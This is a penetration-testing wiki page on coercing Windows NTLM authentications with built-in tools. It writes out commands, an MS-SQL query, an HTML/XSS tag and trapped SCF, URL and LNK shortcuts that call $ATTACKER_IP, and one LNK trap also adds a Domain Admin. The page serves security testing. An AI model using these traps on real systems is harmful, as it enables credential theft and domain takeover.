The Hacker Recipes
GitHubTwitterExegolTools
  • Introduction
  • Active Directory
    • Reconnaissance
      • DHCP
      • DNS
      • NBT-NS
      • Responder ⚙️
      • Port scanning
      • LDAP
      • BloodHound ⚙️
      • MS-RPC
      • enum4linux ⚙️
      • Password policy
    • Movement
      • Credentials
        • Dumping
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Group Policy Preferences
          • Network shares
          • Network protocols
          • Web browsers
          • In-memory secrets
          • Kerberos key list
          • 🛠️Cached Kerberos tickets
          • 🛠️Windows Credential Manager
          • 🛠️Local files
          • 🛠️Password managers
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
        • Impersonation
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
        • 🛠️Living off the land
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate
        • sAMAccountName spoofing
        • SPN-jacking
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Netlogon
        • ZeroLogon
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • SCCM / MECM
        • Privilege escalation
        • Post-exploitation
      • Exchange services
        • 🛠️PrivExchange
        • 🛠️ProxyLogon
        • 🛠️ProxyShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Schannel
        • Pass the Certificate
      • Built-ins & settings
        • Security groups
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • DC Shadow
      • SID History
      • Skeleton key
      • GoldenGMSA
      • AdminSDHolder
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • 🛠️DACL abuse
      • Shadow Principals (PAM)
  • Web services
    • Reconnaissance
      • HTTP response headers
      • Comments and metadata
      • Error messages
      • Site crawling
      • Directory fuzzing
      • Subdomains enumeration
      • Subdomain & vhost fuzzing
      • Web Application Firewall (WAF)
      • Content Management System (CMS)
      • Other technologies
      • Known vulnerabilities
    • Configuration
      • Default credentials
      • HTTP methods
      • HTTP security headers
        • Clickjacking
        • MIME type sniffing
        • 🛠️CORS (Cross-Origin Resource Sharing)
        • 🛠️CSP (Content Security Policy)
      • HTTP request smuggling
      • HTTP response splitting
      • Insecure Cookies
      • Denial of Service (DoS)
      • Identity and Access Management
        • 🛠️OAuth 2.0
    • Accounts and sessions
      • Security policies
      • Password change
      • 🛠️Password reset
      • Account creation
      • 🛠️Account deletion
      • 🛠️Logging in
    • User inputs
      • File inclusion
        • LFI to RCE
          • logs poisoning
          • phpinfo
          • file upload
          • PHP wrappers and streams
          • PHP session
          • /proc
        • RFI to RCE
      • Unrestricted file upload
      • SQL injection
      • XSS (Cross-Site Scripting)
      • CSRF (Cross-Site Request Forgery)
      • SSRF (Server-Side Request Forgery)
      • IDOR (Insecure Direct Object Reference)
      • ORED Open redirect
      • Content-Type juggling
      • XXE injection
      • Insecure JSON Web Tokens
      • 🛠️HTTP parameter pollution
      • 🛠️SSTI (Server-Side Template Injection)
      • 🛠️Insecure deserialization
      • 🛠️CRLF injection
      • 🛠️Arbitrary file download
      • 🛠️Directory traversal
      • 🛠️Null-byte injection
  • Systems & services
    • Reconnaissance
      • 🛠️Hosts discovery
      • Port scanning
    • Initial access (protocols)
      • 🛠️FTP
      • 🛠️SSH
      • 🛠️Telnet
      • 🛠️DNS
      • 🛠️HTTP
      • 🛠️Kerberos
      • 🛠️LDAP
      • 🛠️SMB
      • 🛠️RTSP
      • 🛠️MSSQL
      • 🛠️NFS
      • 🛠️MySQL
      • 🛠️RDP
      • 🛠️WinRM
    • Initial access (phishing)
    • Privilege escalation
      • Windows
        • 🛠️Credential dumping
        • 🛠️Unquoted path
        • 🛠️Scheduled tasks
        • 🛠️Weak service permissions
        • 🛠️Vulnerable drivers
        • 🛠️Account privileges
        • 🛠️Kernel exploitation
        • 🛠️Windows Subsystem for Linux
        • 🛠️Runas saved creds
        • Unattend files
        • 🛠️Network secrets
        • 🛠️Living off the land
      • UNIX-like
        • SUDO
        • SUID/SGID binaries
        • 🛠️Capabilities
        • 🛠️Network secrets
        • 🛠️Living off the land
    • Pivoting
      • 🛠️Port forwarding
      • 🛠️SOCKS proxy
  • Evasion
    • (AV) Anti-Virus
      • 🛠️Loader
      • 🛠️Dropper
      • 🛠️Obfuscation
      • 🛠️Process injection
      • 🛠️Stealth with C2
    • 🛠️(EDR) Endpoint Detection and Response
  • 🛠️Physical
    • Locks
    • Networking
      • Network Access Control
    • Machines
      • HID injection
      • Keylogging
      • BIOS security
      • Encryption
      • Airstrike attack
    • Super secret zones
      • 🍌Banana & chocolate cake
      • 🍳Omelette du fromage
      • 🍔Burger du seigneur
      • 🥞The Pancakes of Heaven
  • 🛠️Intelligence gathering
    • CYBINT
      • Emails
      • Web infrastructure
    • OSINT
    • GEOINT
  • 🛠️RADIO
    • RFID
      • Mifare Classic
        • Default keys
        • Darkside
        • Nested
    • Bluetooth
    • Wi-Fi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Wireless keyboard/mouse
  • 🛠️mobile apps
    • Android
      • Android Debug Bridge ⚙️
      • APK transform
      • Magisk
    • iOS
      • Certificate pinning
Powered by GitBook
On this page
  • Theory
  • Practice
  • Command execution
  • MS-SQL queries execution
  • File explorer
  • Internet browser
  • HTML documents / XSS
  • Web server file inclusion
  • Windows Defender Remote Scanning
  • Certutil
  • Trend Micro Remote Scanning
  • Shortcut files (scf, lnk, url)
  • PDF documents
  • RTF documents
  • MS Word documents
  • Lock screen wallpaper
  • Resources

Was this helpful?

  1. Active Directory
  2. Movement
  3. MITM and coerced auths

Living off the land

PreviousICMP RedirectNextNTLM

Last updated 1 year ago

Was this helpful?

This is a work-in-progress. It's indicated with the 🛠️ emoji in the page name or in the category name

Theory

In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.

In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. ()

There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.

Practice

Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to or the authentication (e.g. using tools like (Python), (Powershell), (Python) or (Powershell)).

Command execution

On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.

dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something

The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays

MS-SQL queries execution

On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.

EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1

File explorer

On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.

Internet browser

Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.

HTML documents / XSS

<script>
    language='javascript' src="\\$ATTACKER_IP\something\something.js"
</script>
<img src="file://$ATTACKER_IP/something/something.png"/>

Web server file inclusion

Windows Defender Remote Scanning

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt

Certutil

certutil.exe -syncwithWU  \\$ATTACKER_IP\share

Trend Micro Remote Scanning

C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\

Shortcut files (scf, lnk, url)

SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.

smbmap -d "domain" -u "user" -p "password" --host-file targets.txt

Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.

ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

# Simple SMB trap with remote icon file
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'

# SMB trap + command execution
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"
# Simple SMB trap with remote icon file (Powershell)
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\<attackerIP>\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

Advanced traps

# Creation & upload
nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP"

# Cleanup
nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP" CLEANUP=True

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

@CONFIDENTIAL-ACCOUNTS.scf
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\something\something.ico
[Taskbar]
Command=ToggleDesktop

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

@CONFIDENTIAL-ACCOUNTS.url
[InternetShortcut]
URL=https://www.thehacker.recipes/
IconIndex=0
IconFile=\\$ATTACKER_IP\something\something.ico

PDF documents

RTF documents

MS Word documents

Lock screen wallpaper

Resources

HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an ) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.

Shares an account has WRITE privileges over can be mapped with (Python).

The (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).

Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. ()

(Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

LNK files can be mixed with some VBA:

LNK files can be mixed with some HTA:

(Python) can be used to automatically push LNK files to a writeable share.

🛠️
source
capture
relay
Responder
Inveigh
ntlmrelayx
Inveigh-Relay
Cross-Site Scripting
smbmap
ntlm_theft
they are an exception
source
LNKUp
Pwned by Shortcut
LNK HTA Polyglot
NetExec
https://github.com/deepzec/Bad-Pdf
https://github.com/3gstudent/Worse-PDF
https://github.com/Gl3bGl4z/All_NTLM_leak
https://mgp25.com/research/infosec/Leaking-NTLM-hashes/
https://www.securify.nl/blog/living-off-the-land-stealing-netntlm-hashes#office
https://www.ired.team/offensive-security/initial-access
https://github.com/mdsecactivebreach/Farmer
Places of Interest in Stealing NetNTLM Hashes🔐Blog of Osanda
Places of Interest in Stealing NetNTLM Hashes🔐Blog of Osanda
GitHub - nccgroup/Change-Lockscreen: Offensive tool to trigger network authentications as SYSTEMGitHub
Kerberos Resource-Based Constrained Delegation: When an Image Change Leads to a Privilege EscalationNCC Group Research
Logo
Hatching - Automated malware analysis solutionshatching_io
What Are Living Off the Land Attacks?LogRhythm
Logo
Logo
Logo
SMB Share – SCF File AttacksPenetration Testing Lab
Logo
Logo
Logo